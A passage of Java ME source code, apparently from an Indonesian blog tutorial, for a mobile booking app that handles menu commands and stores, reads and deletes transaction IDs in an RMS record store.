form.append(”No KTP: ” + dataTemp.elementAt(2).toString + “n”);
form.append(”Tanggal: ” + dataTemp.elementAt(3).toString + “n”);
form.append(”Jadwal: ” + dataTemp.elementAt(4).toString + “n”);
form.append(”Jumlah: ” + dataTemp.elementAt(5).toString + “n”);
form.append(”Biaya: ” + dataTemp.elementAt(6).toString + “n”);
} else {
formError(”Koneksi ke server gagal!”);
}
} catch(Exception e) {
formError(”Ada kesalahan!”);
}
}
}
public void commandAction(Command c,Displayable d) {
String label = c.getLabel();
if (c==cmdBack) {
if (currentWindow.equals(”formPesankan”)) {
menuPesan();
} else if (currentWindow.equals(”formBatalkan”)) {
menuPesan();
} else if (currentWindow.equals(”formHistorykan”)) {
menuPesan();
} else if (currentWindow.equals(”formInfo”)) {
menuInfo();
} else {
menuUtama();
}
} else if (c==cmdOK) {
if (currentWindow.equals(”formPesan”)) {
formPesankan();
} else if (currentWindow.equals(”formBatal”)) {
formBatalkan();
} else if (currentWindow.equals(”formHistory”)) {
formHistorykan();
}
} else if (c==cmdAbout) {
formAbout();
} else if (c==cmdExit) {
keluar();
} else { //menu
List currentmenu = (List)display.getCurrent();
if (currentWindow.equals(”menuUtama”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: menuInfo(); break;
case 1: formJadwal(); break;
case 2: menuPesan(); break;
}
} else if (currentWindow.equals(”menuInfo”)) {
String title = new String(currentmenu.getString(currentmenu.getSelectedIndex()));
formInfo(title);
} else if (currentWindow.equals(”menuPesan”)) {
switch(currentmenu.getSelectedIndex()) {
case 0: formPesan(); break;
case 1: formBatal(); break;
case 2: formHistory(); break;
}
}
}
}
//*********************************************************************************************
// FUNGSI-FUNGSI YANG BERHUBUNGAN DENGAN DATABASE RMS
//*********************************************************************************************
//fungsi untuk membuka database
//jika database tidak ada, maka database akan dibuat
private void bukaDatabase() {
try {
//buka database
//parameter TRUE menunjukkan bahwa database akan dibuat jika belum ada
database = RecordStore.openRecordStore(”database”,true);
} catch (RecordStoreException e) {
formError(”Ada kesalahan pembuatan database”);
}
}
//fungsi untuk menambah data (string ID transaksi) ke dalam database
//input: ID Transaksi yang ingin ditambahkan (data)
private void tambahDatabase(String data) {
try {
//tambahkan data ke dalam database
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeUTF(data);
byte[] b = baos.toByteArray();
database.addRecord(b,0,b.length);
} catch(IOException e) {
formError(”Ada kesalahan IO”);
} catch(RecordStoreFullException e) {
formError(”Database RMS penuh”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk mengambil data (ID transaksi) dari database
//ID transaksi langsung disimpan dalam variabel group (ChoiceGroup) yang harus diinisialisasikan sebelumnya
private void ambilDatabase() {
//kosongi strTemp
strTemp = new String(”");
try {
ByteArrayInputStream bais;
DataInputStream dis;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while (enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
//simpan ke dalam strTemp
strTemp = dis.readUTF();
//tambahkan di group
group.append(strTemp,null);
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(IllegalArgumentException e) {
formError(”Ada kesalahan!”);
} catch(IndexOutOfBoundsException e) {
formError(”Ada kesalahan!”);
} catch(NullPointerException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//fungsi untuk menghapus data (string ID transaksi) dari database
//input: ID Transaksi yang ingin dihapus (data)
private void hapusDatabase(String data) {
try {
ByteArrayInputStream bais;
DataInputStream dis;
String in;
RecordEnumeration enum = database.enumerateRecords(null,null,false);
while(enum.hasNextElement()) {
//ambil ID record
int recId = enum.nextRecordId();
//ambil DATA record
bais = new ByteArrayInputStream(database.getRecord(recId));
dis = new DataInputStream(bais);
in = dis.readUTF();
//cek apakah DATA record sama dengan data ID TRANSAKSI yang dicari
if (in.equals(data)) { //jika ya,
database.deleteRecord(recId); //hapus record
break; //selesai
}
}
} catch(IOException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreNotOpenException e) {
formError(”Ada kesalahan!”);
} catch(RecordStoreException e) {
formError(”Ada kesalahan!”);
}
}
//prosedur untuk menutup database
//dipanggil saat akan keluar dari program
private void tutupDatabase() {
try {
//tutup database
database.closeRecordStore();
} catch(RecordStoreNotOpenException e) {
//do nothing
} catch(RecordStoreException e) {
//do nothing
}
}
}[/java]
Langganan:
Postingan (Atom)